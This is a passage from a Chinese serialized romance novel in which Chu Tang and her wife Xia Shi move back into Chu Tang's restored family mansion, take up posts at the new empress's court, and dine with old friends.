本朝出现了第一个女帝,但因为前朝早有女帝的先例,长公主登基也不算开天辟地头一遭。因此对于朝野来说,此事几乎没有太大的影响,大家的日子也还是照样过。 不过这事对于楚棠和夏时来说,就不可避免有些影响的。 比如之前借住在公主府的两人,这回是真没办法继续住下去了。曾经的公主府成为了新帝的潜邸,自然不适合再让外人住,两人因此只能搬家。 好消息是她们还算有先见之明,提前买好了新宅,即便来不及布置也至少有个地方可以搬去住。 坏消息是她们的新宅还没布置好,新帝便大笔一挥,将曾经抄没的楚家家产全部还给了楚棠。不仅是金银财物,就连已经有了新主人的楚家老宅,也一样被收回返还。 这其实算是一桩好事,不过因为新帝没有提前知会的缘故,两人这些天奔走看新房算是白忙活。现在新宅子也买好了,老宅又被还了回来,住哪里似乎又成了问题。 最后还是夏时拍板决定:“新家也就那样了,走,咱们先去看看你家老宅。” *********************************************************** 曾经的楚家在京城虽算不上富贵,也比不过许多人家几代人的积累,但楚父能做到一部尚书的位置,自然也被泛泛。他置办的家底不少,宅子更是换了再换,最后被抄家时,楚家的宅邸不仅位置极好,屋宅广阔,里面更是亭台楼阁、花园水榭,样样不缺。 夏时牵着楚棠的手,被她带到家门口的时候,看着那朱门高墙,第一次意识到她和楚棠之间的差距原来有这么大。如果不是楚家蒙难,她们或许一辈子都不能相遇。 楚棠见她呆呆的看着大门却不迈步,不由轻轻晃了晃两人相牵的手:“想什么呢?” 夏时收回目光,忽然笑了下:“你家可真气派。” 楚棠摇摇头,不以为意:“这算什么?走,进去看看吧。” 她的不以为意并不是因为见多了富贵只觉寻常,而是认为夏时将来也未必不能挣下这样一份家业——她爹就是科举之后凭本事平步青云,最后坐上高位拥有这一切的。而夏时虽然没有读书科举的本事,但就凭她在新帝那里立过的功劳,来日前程也无需担忧。 这不,新帝登基第一件事是收服禁军,转头就用身边可信的人手取代了不少禁军将领。夏时虽然没赶上趟第一时间进宫,但后来也还是被新帝提拔,如今也在羽林之中挂了职。 别管这职位现在高不高,总归夏时现在已经不是白身,成为了女帝治下的第一批女官。 夏时对此倒不十分在意,但也没有推辞官职,毕竟她都不打算回云雾山继续打猎为生了,那么留在京城总要有些谋生的手段。毕竟她还得养老婆呢! 不过这个想法在踏进楚家老宅之后就被打消了,然后她迅速选择了躺平。 原因无他,楚家老宅豪奢也就罢了,两人刚一脚踏进楚府的大门,便见门内早有两排仆从丫鬟候着了。见到二人登门,他们齐齐俯身行礼,口中直呼:“恭迎大小姐回府。” 夏时一脚刚踏进门槛,另一只脚生生被这动静唬得僵在原地,进也不是,不进也不是。 而这时的楚棠甚至没来得及发现她的窘迫,她看着面前这些熟悉的面孔,表情从呆愣到惊诧,再从惊诧到惊喜。以至于她无意识松开了牵着夏时的手,脚下疾走几步:“福伯、王叔,还有紫苏、青黛、白芷,你们,你们都回来了?!” 没错,新帝和萧晏书都是心细之人,替楚家翻案的时候就想好要将当初抄没的家产全部归还给楚棠了。只是有些东西经过这一番波折,早就物非人也非,便是还给楚棠也不过是徒惹人伤心。 于是两人干脆好事做到底,不仅将从前的楚家老宅重新收回修复,就连去岁因楚家获罪而被发卖出去的奴仆,也尽力都找了回来。这也是楚家平反都过去一两个月了,楚家家产才被归还的原因……倒不全是因为新帝登基耽误的缘故。 而显然,两人的这份贴心楚棠体会到了,此刻看着府中一张张故人面孔,只觉得心中激动不已。尤其紫苏、青黛、白芷三人,更是陪着楚棠一起长大的贴身侍女。 主仆几人感情原本就不错,此刻历经磨难再度重逢,饶是楚棠也没忍住上前将人一把抱住。 那三人也是一样,这一年多几人的经历说来比楚棠还要坎坷几分,如今再见故主,抱着楚棠就没忍住痛哭出声。哭完又是笑,笑楚棠平安,笑楚家否极泰来,也笑她们终于脱离苦海。 福伯、王叔从前是楚家管家,更是府中老人,也是看着楚棠长大的。如今能再见到她,又看着几个丫头又哭又笑的模样,也忍不住偷偷抹泪。抹完泪就是笑,个个看上去都是情绪激动不已的模样。 总而言之,楚府内一片久别重逢的欢喜,唯一被这气氛排除在外的,大概就是夏时了。 她这时早就跨进了大门,可站在门边却无人理会。倒不是楚家这群旧仆排斥或者给下马威,而是她们只顾着叙旧,眼里只看得到楚棠这个曾经的小主人,哪里还能留意到有人一同进门。 而夏时看着这副场景,心里更是酸溜溜的,忍了又忍终于没忍住上前几步,将楚棠从几个侍女的包围中挖了出来。 楚棠被她拽着手腕拉出了人群,回头一对上夏时那眼神,心里顿时叫了一声“糟”。再一看旁边几个还在哭哭啼啼的美貌侍女,更是有种头皮发麻的感觉——她家醋坛子好像翻了! 这个念头一起,楚棠哪里还顾得上和几个侍女叙别情,甚至都顾不上此刻一群人围观。她一倾身便直接亲在了夏时唇上,等将人亲懵了,便赶紧拉着她冲众人介绍:“这是夏时,我的妻子。”说完目光扫过众人,又道:“当初流放途中我遭遇变故,多亏她相救,否则我恐怕也回不来了。” 楚家众仆原本被楚棠那大胆的举动惊了一跳,等听完她的介绍,看向夏时的目光顿时多了几分感激和敬重。虽然他们只是楚家的奴仆,并不算长辈,但福伯和王叔还是站出来冲着夏时深施一礼,万分感激。 夏时被这一出弄得也不好意思再吃醋了,忙去扶人。 楚棠见状这才偷偷松了口气。 118☆、第118章 ◎侍女也是要避嫌的◎ 楚家的老宅很大,家中的仆从也很多。夏时刚进门就见到了二三十人,而这些也不过是比较要紧,又轻易能被寻回来的旧仆罢了。 楚棠暂时打发了众人,领着夏时往自己的院子走:“我家中仆从原本有五六十人,外面还有一些管事负责打理家中产业。此外家中偶尔还会从外面雇佣人来做活儿。方才那些都是与我们父女比较亲近的,一些不太熟悉的人也没必要*再寻回来了。” 夏时听她说得轻描淡写,却忍不住心头惴惴:“这么多奴仆,只照顾你们父女两人吗?” 楚棠点头,神色稍稍黯然:“我爹娘本是青梅竹马,感情也是极好的,可惜后来我娘生我时难产,身体便坏了……再后来我爹也没想过续弦,家中便一直只有我们父女两人。” 夏时原本是觉得几十个奴仆伺候两人有些夸张了,不想一句话没说好,竟引得楚棠想起了伤心事。她顿时生出几分心疼,抬手将人轻轻抱住,只是还没来得及开口安慰,就被楚棠打断了:“好了,没事,这都是许多年前的事了,咱们继续走吧。” 楚府确实不小,虽然占地比不上长公主的公主府,但也绝对是夏时从前不能想想的奢华了。两人一路走来,便见雕梁画栋,亭台楼阁,这府邸之中甚至还有一小片人工湖,上面还修了个水榭,夏日用来乘凉。再走几步,又见一小片竹林,茂密苍翠,十分漂亮。 绕行了足有半刻钟,两人这才到了楚棠曾经居住的院子。一眼看去和从前并无差别,但身为此间主人,还是一眼就看出了一些细节处的不同。 楚棠面上露出两分惆怅来,但还是牵着夏时的手走了进去。 这一进门,楚棠倒有了几分惊喜,她拉着夏时走到院中一棵树旁,笑道:“这是海棠树,搬进这宅子时,我爹带着我一起种下的。春天的花很漂亮,秋天的果实也酸甜可口,我还担心新主人不喜欢,会把它砍了呢。”说完又摇头:“就是现在时节不对,什么都没剩了。” 立冬已过,如今天气虽然还没彻底冷下来,但城中这些树木却早已经枯黄凋零,确实无花也无果。不过没关系,到了明年花还会开,果子也还会结。 夏时便笑了起来:“那有什么要紧的,明年再看花,再吃果子就是了。” 楚棠心头的那点介怀,似乎也随着夏时的这句话散开了。她拉着夏时在院中转了一圈,又进了屋子,果然里面桌椅床榻之类的都恢复了原状,就连梳妆台上的胭脂,也是她从前惯用的那一种。 如此用心,楚棠也不免叹道:“陛下果真是费心了。” 夏时见她如此,便猜到了她心中已有偏向,于是笑着问她:“如何?你现在可是做好了决定,要搬回来住了?” 楚棠的指尖在梳妆台上扫过,点了点那盒胭脂:“这里是我家。” …… 楚棠决定搬回楚府住了,然后夏时就后知后觉的发现,自己根本养不起家。 无他,只有她们两个的话,她养老婆绰绰有余,可是新家里光仆从就有二三十个,这些也都是要她们养着的。毫无家底的夏时扒拉着手指算了算,就算如今她在羽林中挂职领着俸禄,也根本养不起这么多人。更何况这样大一个府邸,这么多仆从,也不是只管人吃饭就够了的。 夏时因此忧心忡忡,夜里辗转反侧,盘算着是不是该努力表现升个官了?她这时倒是完全没想过要靠楚棠养,毕竟从前两人的相处模式,她已经习惯养老婆了。 她这般动静,自然瞒不过楚棠,后者迷迷糊糊抱住她:“这么晚了,你怎么还不睡?” 夏时回抱住楚棠,一下下抚着她的背——立冬之后天气转凉,老婆再也不像夏天那样嫌弃她热,反而开始往她怀里钻。夏时自然也是来者不拒,总是欣然接受老婆的投怀送抱。今晚也是一样,两人相拥而眠,楚棠才会被她吵醒。 不过夏时也没安抚两下,楚棠就又迷迷糊糊快要睡着了。忍不住合上眼的那一刻,她才听到夏时语带惆怅的问道:“阿棠,家里真的需要养那么多仆从吗?” 这话问得莫名其妙,楚棠从前也是管家的,因此没过脑子便回:“当然要。不然这么大地方,没人洒扫整理,这宅子很快就会破败的。” 这倒也是,楚府可就不是夏时家那三两间屋子了,整个府邸大大小小的屋舍足有几十间。这些不提,外面的花园池塘,大小路径,哪一样不需要人打理?楚家从前那几十号仆从都算是少的,如今人手就更不够用了,早晚还得补充新的。 楚棠正困倦,脑海里闪过这些,接着才后知后觉发现不对:“你问这个做什么?” 夏时倒也不瞒着楚棠,苦巴巴开口答道:“这么多人,我可能养不起。” 楚棠闻言一愣,困意也散了,忍不住埋首在夏时怀里笑开了。 夏时不知她为何发笑,却被笑得耳根都红了,赶紧将人从怀中挖了出来:“你笑什么,我说得有什么不对吗?难道福伯他们不需要吃喝,不需要月钱?” 楚棠一翻身,整个人滚进了她怀里,接着笑:“没有,我只是没想到你会操心这个。你莫不是忘了,陛下已经将楚家从前的家产尽数归还了。我爹这几十年的官也不是白当的,他可攒下不少家业,我家在城中有七间铺子,城外还有二百亩良田和两个庄子,不挥霍的话足够咱们用了。” 这家底其实不算丰厚,从前的楚尚书也不是贪污敛财的人。不过听楚棠说完,夏时还是被这份家业震了震,然后飞快转变了心态。 她抱着老婆蹭了蹭,嘴里话锋一转:“这样啊,那今后我可就靠你养了。” 楚棠仰头亲了亲她,笑道:“放心,我养得起。” ****************************************************** 小两口正式搬回了楚府居住,又将新买的宅子赁了出去,日子过得黏黏糊糊。 当然,不顺心的地方也有,比如搬到楚家之后夏时才知道,大家小姐原来的日子是怎么样的——所谓衣来伸手饭来张口,绝不是夸张。但这并不是重点,重点是沐浴洗漱也有人伺候,而从前伺候楚棠的贴身侍女足有三个,这三个不久前还当着夏时的面抱过她老婆! 事情还要从她们刚搬进楚家的第一天说起。楚家从前的旧仆并未找齐全部,但楚棠院子里的人倒是大多数都找了回来,紫苏、青黛、白芷三人便也如往常一般回到她的院中当值。 入夜之后,三个侍女按照楚棠从前的习惯,让人抬了热水来供楚棠沐浴。 楚棠回到从前的环境中,也没想太多,便在紫苏的服侍下开始更衣。好巧不巧,夏时进门时看到的就是这一幕——她老婆衣裳都快脱光了,这侍女居然还没走。 四目相对,面面相觑。 紫苏不知道自己做错了什么,只觉得屋中气氛怪异。 楚棠却是猛然惊醒,一拍脑袋说道:“我忘了,我如今都已成亲了,紫苏你退下吧。” 紫苏退下时还是茫然的,毕竟没听说过哪家小姐成亲之后就不需要侍女伺候的。还是出去之后遇上白芷,后者才提醒了她一句:“紫苏你是不是傻,咱们小姐成亲的对象是个女郎啊。” 若是嫁的男子,自然不必避讳侍女,可嫁了女郎就不同了,侍女也是要避嫌的。 紫苏后知后觉意识到自己做错了事,小心翼翼回头看了一眼,担忧道:“那,我刚才没留意,小姐她没事吧?” 白芷一把将人扯走了:“行了,咱们可别留下添乱了,那边自有小姐哄着。” 确实,屋里楚棠正哄着呢。天知道她前一日好不容易才稳住的醋坛子,今日一着不慎,到底还是翻了! 夏时黑着张脸一言不发,气鼓鼓的盯着楚棠,似乎想要她给自己一个解释。 楚棠实在没什么好解释的,便只好上去拉着她的手摇了摇:“怎么了,生气了?” 夏时闻言别过了头:明知故问。 楚棠便只好说道:“别气了,我就是一时忘了……” 哪知夏时听到这话更气了,想到几个侍女从前伺候楚棠沐浴,她心里都要酸死了。可这话却不好说,毕竟那时候她俩都不认识,这些陈年老醋吃起来简直毫无道理。 这些话夏时其实也不必说,她在楚棠面前向来藏不住事,想什么全都明明白白写在脸上了。楚棠看得好笑又无奈,只好许诺道:“从前的事不必再提,今后我都不让侍女近身伺候可好?” 夏时听了这话,回头悄悄看了看她,却又露出了两分犹豫来:“这,倒也不必如此委屈自己。”说完又强调:“不过沐浴更衣这种事,就不要让人帮忙了。” 说完她又嘀嘀咕咕了两句,声音太小,楚棠没有听见:“你说什么?” 夏时目光落在楚棠微敞的衣襟上,声音放大许多:“我说,你沐浴需要人帮忙的话,可以找我。” 楚棠脸有点红,但也不算十分羞涩,毕竟两人什么没经历过?正好这时可以借此哄哄醋坛子,于是她伸手一勾,直接勾住了夏时腰带:“那好,今日便劳烦阿时了。” 两人目光对上,夏时心领神会,上前一步将人打横抱起:“不劳烦。” 沐浴时确实不算劳烦,夜里才算。以至于哄好醋坛子的楚棠第二天腰酸腿软,险些没能下得了床。 119☆、第119章 ◎今后是不是都能一起回家了◎ 生活中稍许的不顺心,只需磨合一二,双方很快也都习惯了。 不过夏时需要习惯的还不仅仅是楚府里的一些小事,外间的变化才是天翻地覆——新帝需要培养自己的势力,对于皇宫的掌控更是重中之重,因此夏时在羽林中的职位也不能真只是挂职。留给她短暂的适应时间之后,她还是得去皇宫中当值的。 夏时对此有些不乐意,毕竟比起自由自在的小猎户,每天按时上下班的日子可太拘束了。而且羽林当值的时间又很长,有时候接连两三日都回不了家,简直让人无法忍受。 第一次当值回来之后,夏时就打了退堂鼓:“阿棠你说,我去求陛下换个职位如何?再不然这官不当也罢,你说过可以养我的。” 楚棠哪里不知道她的心思,也不觉得夏时没志气,只抚了抚她的脸颊:“好了,别急。如今不过是陛下刚登基,需要防备生变。等过些时日她坐稳了皇位,宫中守卫也就不必如此严密了。到时候你也能每天回家,不必计较这一时的。” 夏时听后还是苦着脸,有些不满意:“那一天也得耗费大半时间在宫中啊。” 楚棠听到这话便笑了,她反问道:“那不然呢?你不准备当值,还准备成天待在家里啊?我可先与你说了,就算你成天待在家中,我也是不在家的。” 夏时闻言一愣:“你不在家,去哪儿?” 楚棠笑而不语,并没有立刻回答她,难得卖了回关子。不过这个问题的答案也并没有拖延太久,几天之后夏时就知道了。 几日后,王申和唐奕等人终于回京了。 这一行人南下去得也够久,在江南足足耽搁了小半年时间。尤其王申感触最深,他当初奉旨南下时还是先帝当朝,如今从江南回来,却连皇位上的帝王都换过一遍了。 好在她们在江南这些日子也没有白费。江南旧案虽是新帝亲自翻案的,但王申和唐奕这几月在江南却也完全闲不下来。他们重新梳理了人口土地,又惩治了贪腐怠政的地方官,最后将收回的土地重新分配给了百姓,总算是将纷乱的江南暂时安顿好了。 这些原本并不容易做到,但好在先帝恰在这时驾崩了。长公主先是监国,后又登基,成了唐奕等人最坚实的靠山,两人这才顺利完成了分地之事。 不过这事至此也没完,之后新帝还需下令迁移部分百姓过去,才能彻底填补江南的缺失。 当然,这些就和夏时没什么关系了。她只是在宣政殿外值守的时候,惊喜的看到了自己“师父”,偷偷打个招呼:“唐奕,你回来了?” 唐奕见她一身羽林校尉的装扮,也不由一笑,冲她眨眨眼。 可惜两人并未来得及叙旧,唐奕和王申等人就被宣召,于是赶紧整理仪容入了殿中。 王申南下平乱一事满朝皆知,倒是唐奕本不该出现在江南的,却是受了长公主之命提前去了江南,甚至还和叛军搅和在了一起。如果还是先帝一朝,她少不得要被朝臣们抨击,然后治罪。可谁让现在坐在皇位上的是长公主呢,唐奕踏进朝堂时,腰板挺得笔直。 果不其然,今日的朝堂无人敢问责于她,等后来皇帝论功行赏,她也和王申一个待遇。 说来唐奕本就是朝堂上头一个女官,先帝朝时她就是正经有品级的武将,只是当初先帝并不待见这女将军,才让她遭到了冷落。 可现在女帝当朝就不同了,皇帝对于自己人也足够大方:“王申、唐奕,平定江南之乱有功。现擢升王申为刑部尚书,唐奕为云麾将军,兼领羽林。” 此番官职擢升不可谓不大,二人赶紧谢恩,朝堂众人也并不觉得意外——所谓一朝天子一朝臣,新帝登基时间虽然不长,但各部官员调动得却不少。有人升官,有人降职,还有人被抓住把柄直接一败涂地,新帝的手段可谓是雷厉风行,大家也都习惯了。 不过显然,新帝这次想要提拔的远不止唐奕一人。趁着这个机会,原本聚拢在长公主身边的一应旧属也都得到了封赏。 比如一直追随在她身侧,帮她处理大小事务的萧晏书,这次便被提拔为了侍中。再比如这几月没少为长公主奔走,联络故旧的楚棠,也女承父业入了户部,做了个郎中。此外还有一心帮扶长公主的承恩侯府众人,包括沈知微在内都各有封赏。 好在新帝提拔新人归提拔新人,倒也没有一下子将人放至高位。再加上朝中对于女官的出现也早有准备,倒也没有闹出什么波澜,这日过后宣政殿中很快就多了许多女郎的身影。 别人如何,夏时倒不在意,她只惊喜于自己这么快就在宫中见到了楚棠。 ***************************************************** 一场冗长的早朝散去,楚棠和几个新封的女官结伴走了出来,手中还捧着刚领到的官服——一般来说,官服都是官员们自己掏腰包定制的,朝廷并不会为每个新官发放官服。但这群女官显然是特例,而她们能这么快拿到官服,自然是女帝早有准备的。 几个人都有些兴奋,虽然她们在追随长公主时,都畅想过今日场景。可等她们真的站在了朝堂上,拿到了属于自己的官服,还是不免高兴。 萧晏书也不例外,她笑着冲几人说道:“今日大喜,我请诸位往闻香楼一聚可好?” 几人本就是公主府旧识,关系还算亲密,闻言自然都应了好。 姑娘们今日才封的官职,也不必立刻去衙门上值,高高兴兴就要出去小聚。楚棠混在其中原本也没打算做那例外,只是跟着众人走了没几步,忽的感觉后背一凉,像是被什么盯上了。 她心里隐约生出些不好的预感,顺着感觉回头一看,立时就对上了夏时幽怨的目光——夏时今日就在宣政殿外当值。几人刚才说说笑笑着走过,楚棠一个没留神,居然忽视了准备恭喜她的夏时,直接从她面前走了过去。 这这这……老婆生气了,难道要在皇宫里哄人? 楚棠脸上的笑容消失了,封官的兴奋也不见了,她只觉得头皮发麻。 另几个女官走着走着发现少了一个人,回头就看见楚棠呆站在了原地,正要折返回去问问怎么了,就被萧晏书一把拉走了:“走了走了,看来阿楚今日是没时间与我们一起了。” 这几人都是公主府出身的,自然也不会不认识夏时,目光一转便了然几分,纷纷窃笑着离开了。 同行的人虽然走了,可这里到底是皇宫,周围多的是耳目。楚棠虽然心知自己刚才犯了错,却也不好在这里哄人。于是她抱着官服走了回去,想了想说道:“今日傍晚你就下值了吧,我在宫门处等你,到时候咱们一起回家啊。” 夏时原本还满心幽怨,气恼楚棠忽视了她,可她向来是好哄的。不必老婆亲亲抱抱,只这一句“一起回家”,她耷拉的眉眼立刻就飞扬了起来。 “好啊。”夏时高兴的应了一声,紧接着又道:“咱们今后是不是都能一起回家了?” 宫城之外还有皇城,朝中各衙署都在皇城之内,虽说距离夏时如今当值的地方远了些,但小两口要凑在一起回家倒也方便。 楚棠眉眼一弯,果然答应下来:“这是自然。” 夏时于是就更高兴了,她心里甚至盘算起来,如果不是站岗而是巡逻的话,平时她也是有机会溜达去户部衙门的。就算不方便进去找人说话,但能远远看上一眼也是好的。 楚棠一看她那眼神,就猜到了她心中所想。假公济私这种事,偷偷做不过分就没什么,但要是大张旗鼓的说出来可就不好了。她怕夏时没留意地点,一时失言让人听了去,于是赶忙说道:“好了,人都走得差不多了,我也先出宫去了。你好好当值,晚上我来接你。” 夏时有些不舍,但想到傍晚下值有人接,心里还是很高兴的。她早忘了之前的不快,冲着老婆挥挥手:“那你先去吧。路上小心些,晚点出门记得带手炉,现在天气已经有些冷了。” 楚棠冲她点点头:“知道了,你继续当值吧,我走了。” 两人有些依依不舍,但楚棠脚下的步伐倒也不慢,很快走出了皇宫。只是刚出宫门她就被拦下了,却是沈知微背着手凑到她跟前,“啧啧”两声:“出来这么晚,真黏糊。” 旧友重见,自是几分欢喜。之前在宫中两人还不好太张扬,此时出了宫门,楚棠就一把挽上沈知微胳膊笑道:“我回京这么久了,咱俩还是头回见面。你什么时候回来的,怎么都不去找我?” 沈知微便笑,指了指一旁的唐奕:“我和她在江南呢,陛下丢下的烂摊子可不好收拾。”说完也不多提正事,话锋一转冲楚棠眨眨眼:“怎么样,阿楚,我没说错吧,女郎可比郎君好多了。” 楚棠对上她揶揄的目光,脸上莫名有些发烫。她含糊的点点头,假装没看懂对方的调侃,接着转了个话题:“对了,你和阿时还没正式见过呢。今日她当值,等晚上下值了,咱们一起聚一聚可好?还有锦澜,她和你们一起回来了吗?” 沈知微应下了聚会,然后摆摆手,无奈道:“温锦澜那家伙可不想入朝当官,她跟她夫人游山玩水去了,少说也得明年才回来。” 温锦澜和她们不同,可没掺和到长公主的事里去,最多就是她夫人明钰的商行帮着行了些方便。比如出点钱,传点消息,自然也是卖了新帝的好。 只两人却是不打算出仕的,干脆就在这敏感的时刻避开了京师。 120☆、第120章 ◎小聚一场◎ 入冬之后,白日渐短,不过酉初天色便有些昏暗了。 今日夏时没排到夜间值守,于是赶在宫门落锁之前,就急匆匆出了宫。 出了承天门,她一眼就看到了宫门外等候的马车,眼睛一亮赶忙迎了过去。马车里的人似乎也听到了动静,掀开车帘探出头来,便露出了楚棠那张熟悉的面孔。 夏时一见到她,眼睛就笑弯了,三两步赶到马车前,根本不等车夫放下车凳,便直接轻巧一跃跳上了马车。待进了车厢内,她第一时间就去摸楚棠的手,确定对方的手还是暖呼呼的,这才放心:“阿棠,你等多久了?我是不是出来的晚了?” 楚棠便摇头,拉着她在身边坐下:“没有,我也刚来不久。再说就在马车里坐着,等等也无妨。” 说完这话,楚棠伸手叩了叩车壁。外面的车夫听到信号自然也不耽搁,一扯缰绳催着马儿调转方向,转道向着回家的方向而去。 马车里,两人相处也不安静,许是大半天没见面的缘故,夏时拉着楚棠便絮絮叨叨说了不少话。她和楚棠闲聊也没什么重点,一会儿说起当值的同僚有些排挤,一会儿又说自己偶尔听到的同僚八卦。说完这些还有今日哪个大臣私下进谏被女帝骂了,最后还说道萧晏书,她下午居然又进了宫。 楚棠耐心的听她说完,回家的路程也走了大半,这才寻到机会开口:“阿时,你还记得吗,我在京中有两个旧友。” 夏时点头,一边拉着楚棠的手把玩,一边说道:“当然记得,她们还给你送了一箱金子呢。”说完抬起头,又道:“还有唐奕,她好像是你哪个好友的夫人?” 楚棠便道:“是沈知微。她是承恩侯府的小姐,也是女帝的表妹,还是唐奕的夫人。” 说起沈知微这人,早年身为侯府小姐的她就是个人间富贵花,只知道吃喝玩乐花钱如流水。和唐奕走到一起算是桩巧合,不过成亲之后对她的生活和性情也并没有什么影响。还是后来时局变化,尤其是五皇子死后,承恩侯府的地位一落千丈,她这才带着夫人向长公主靠拢。 也是因为她的缘故,温锦澜妻妻俩也上了长公主的船。那俩虽然都无心仕途,但明家是真有钱,明钰也是真宠妻,长公主夺位也没少倚仗明家的钱财支持。 而付出终是有回报的,不论沈知微还是唐奕,都是未来可期。 夏时听楚棠将这些娓娓道来,听完也不过感慨一句“真有钱”,转而又问:“你怎么突然说起她们了?对了,今天唐奕得了封赏,沈知微好像也封了官,不过我还不认识她。” 楚棠便点点头,说道:“她们之前不在京城,这么久了也没让你们见过。今日机会难得,我们便约好了小聚一场。”她说着指尖转动,插入夏时指缝与她十指相扣:“我的好友还没见过我的夫人呢,今日正好认识认识,免得来日见面不识。” 夏时听她叫自己“夫人”,心里有些甜滋滋的,对加入楚棠曾经的交友圈子更是十分期待。不过她心里也有些忐忑,想了想问道:“这小聚有多少人,你的旧友都来吗?” 这话问得楚棠一怔。和孤家寡人的夏时不同,当年楚家还没遭难之前,楚棠在京城的贵女圈中也算是交友广阔了。只可惜那圈子里的友谊都是以利益作为基础的,当楚家蒙难,楚棠的境遇一落千丈,曾经还算要好的朋友便也散了个七七八八。 楚棠倒也没有为此难过,只是提起之后心中难免有两分惆怅:“没有多少人,我的旧友也只剩知微和锦澜两人了。锦澜如今也不在京城,今日就咱们和知微妻妻俩聚一聚。” 夏时一听,放心了,她和唐奕也熟,今日小聚的陌生面孔也只有沈知微一个罢了。 ***************************************************** 从前楚尚书每日都要早起赶去皇宫上朝,置办的宅子自然距离皇宫不远。 马车辚辚载着两人回到楚府时,暮色也才刚刚笼罩天穹,距离彻底天黑还有些时候。但这时候宴客自然是很迟了,除非关系极好,否则也没有入夜后打搅的道理。 恰好,沈知微和楚棠的关系就很好,她不仅大晚上来楚家赴宴,甚至还拉着唐奕在大门口等人。于是等楚棠和夏时走下马车时,看见的就是两人站在门口相迎的场面——说实话,要不是夏时抬头看见了楚府的牌匾,都要以为她俩才是登门做客的人了。 不过楚棠和沈知微这两个当事人显然没觉得有什么问题。 一见两人下车,沈知微就拉着唐奕迎了上来。她目光一转,先将夏时上下打量了一圈,旋即笑道:“今日在宫中也没来得及细看,你就是夏时吧,阿楚的夫人?” 夏时对上她目光,只见其中一片清明,就知沈知微并没有看低自己。她心里自在了些,点点头笑道:“是我。我听阿棠说过你,你们是很好的朋友。” 两人这招呼打得平平淡淡,却都从对方身上看到了善意,如此相处起来就不会难。 沈知微对夏时的好奇不少,但大门外显然也不是聊天的地方。双方简单打了个招呼,便一起转道进了楚府的大门。 楚棠和沈知微的交情显然不作假,沈知微对楚府也相当熟悉。说好的今日小聚,她熟门熟路便往花厅的方向走,边走还边吩咐楚府的仆从:“饭菜都准备好了?快送去花厅吧,今日可真是不早了。”说完又回头问楚棠:“阿楚,今日要是太晚,我和唐奕留宿在你家行吗?” 唐奕闻言倒有些不自在,打断道:“不必,晚些我们也能回家的。” 沈知微便白她一眼:“你是不是忘了,如今可是有宵禁的,吃完饭怎么都到宵禁时间了。” 唐奕便举起腰间挂着的腰牌晃了晃,她今日可是接掌了羽林。对于她们这样的权贵,又是皇帝心腹,夜里宵禁巡逻的官兵也不可能会为难。 小两口争着今晚要不要回家,还没争出个结果,便被楚棠打断了:“你们留下住就是了,何必麻烦?”说完也不等唐奕反驳,便又指着沈知微笑道:“从前知微可没少在我家住,我家还有她的屋子呢……” 说着说着顿住,却是想起这宅子也是历经波折,她还真不知道沈知微从前住的屋子有没有恢复。不过这也不要紧,待会儿吃饭的时候让紫苏她们领着人去收拾收拾,总不至于让两人没个落脚地。 沈知微察觉到了楚棠的停顿,也一下子想到了其中关节。她顿时没好气的瞪了唐奕一眼,嫌弃她多事,害得好友想起了不愉快的往事。 唐奕摸摸鼻子,感觉有点冤枉,却是不敢再多说什么了。 几人说说笑笑到了花厅,这里果然已经准备妥当了。精致的菜肴摆了满桌,另还有两壶果酒,都是酸酸甜甜不怎么醉人的,姑娘家大多喜欢。 沈知微一看这些菜色,眼睛就笑弯了:“还是福伯他们惦记我,还记得我爱吃什么。” 楚棠闻言没好气瞪她一眼:“你怎么知道是福伯惦记你,不是我吩咐的?” 沈知微闻言抿唇一笑,又冲她眨眨眼:“当然得是福伯他们惦记我。若说是你惦记着我,也不怕有些人不高兴。”说完目光一扫,在场的另两人齐齐中箭。 唐奕倒还好,早知道自家媳妇口无遮拦,也不如何吃醋。 可夏时就不行了,她就是个标准的醋坛子,丁点大的小事都能让她吃醋。比如今晚见了沈知微她们,楚棠一路只顾着和对方说话冷落了她,她的目光就一直落在楚棠身上。 当然,夏时并没有无理取闹,可这不妨碍沈知微轻易看穿她醋坛子的本性。 这时候调侃一句,沈知微便如愿看到了夏时稍显窘迫的模样。不过比起寻常女儿家的羞赧,夏时又胆大许多,堂而皇之牵起楚棠的手宣示主权:“嗯,沈姑娘说得对。福伯他们都是很能干的人,肯定还记得沈姑娘的喜好,如此也免得阿棠费心了。” 楚棠被她这一番话说得哭笑不得,暗暗在她腰间戳了一下,示意她适可而止。 夏时抿抿唇,不说话了,看着她们说笑着入了座。 楚棠坐在最中间,左边坐着夏时,右边坐着沈知微。唐奕自然跟着沈知微,坐在了她另一侧。而几人落坐之后好巧不巧,两只酒壶一只在唐奕手边,另一只则在夏时面前。 几人小聚,自然不是单纯吃饭那么简单,吃喝说笑都少不了。 唐奕熟练的给沈知微和自己倒了酒,夏时见状有样学样,也给自己和楚棠的酒杯满上。只是刚倒好了酒,夏时还没来得及把酒壶放回去,就被楚棠伸手接了过去。 沈知微一眼就看穿了缘由,眼眸一转,笑道:“怎么,阿楚你夫人酒量不行?” 夏时听到这话才想起来,自己的酒量确实不好,当初半碗米酒就醉了。今日她们小聚,她总不好早早醉倒,那也太扫兴了。于是自觉的将酒杯放远了些。 楚棠见她如此乖巧,也不免一笑:“她不爱喝酒,不必勉强。” 沈知微耸耸肩,自然也不劝:“也行吧,这酒等会儿再说。你先和我说说,当初你离京之后都经历了些什么?你俩到底怎么认识,又是怎么在一起的?” 120-127 121☆、第121章 ◎穿上一身嫁衣,嫁给心爱之人◎ 楚棠当初离京是因为流放,而流放之路注定不会轻松。 沈知微一开始就知道自己听到的不会是个轻松的故事,可当楚棠真将当初的遭遇说出来,哪怕只是轻描淡写的一笔带过,也依旧让人心疼不已。 尤其是夏时,当初将楚棠接回家究竟用了多少时间才养回来,她是再清楚不过的。 只是在她心疼的握住楚棠手的时候,却听到“砰”的一声,是沈知微一拳砸在了桌案上,力道大得将酒杯都震倒了:“岂有此理,岂有此理!当初送你离开的时候,我和锦澜可是给押解官差不少银钱,只是让他们稍稍照看一二。结果他们不仅白拿了钱没有照看,还将你扔到了路边!” 楚棠闻言露出些无奈来,其实沈知微和温锦澜当初给官差塞钱这事她知道,可流放路上她孤立无援,就算知道又如何?难道还能说出来威胁别人吗? 还不等她出言安慰,又听沈知微继续骂道:“还有你*那些亲戚。当初楚伯父还在时,他们没少仗着尚书府的势谋取好处,可楚伯父一朝落难,他们却又因牵连对你迁怒排挤。一群人只能共富贵不能共患难就算了,他们到底哪儿来的脸针对你的?!”说完想到什么,又气道:“如今楚家沉冤得雪,他们这群人是不是也要平反回京了?阿楚你听我的,今后可再别和他们来往了。” 